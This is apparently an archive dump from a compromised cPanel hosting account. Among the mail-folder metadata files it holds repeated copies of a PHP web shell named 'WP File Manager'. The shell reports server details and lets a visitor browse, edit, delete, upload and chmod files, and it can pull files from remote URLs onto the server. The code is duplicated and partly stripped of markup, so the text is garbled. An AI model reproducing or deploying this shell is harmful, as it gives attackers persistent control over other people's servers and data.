📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëirina@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]…hŸõBB%albania@dunyagozbalkans.com/.metadatanu"º] €[addressbook] type VADDRESSBOOK description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book protected 1 [calendar] type VCALENDAR displayname cPanel CalDAV Calendar calendar-color #ff6c2c description Default Calendar automatically created for your account. protected 1 PK“&{]àåBBormir@drsupernova.com/.metadatanu„[µü¤[calendar] type VCALENDAR displayname cPanel CalDAV Calendar calendar-color #ff6c2c description Default Calendar automatically created for your account. protected 1 [addressbook] type VADDRESSBOOK displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 PK“&{]„N9³§Ë§Ëormir@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
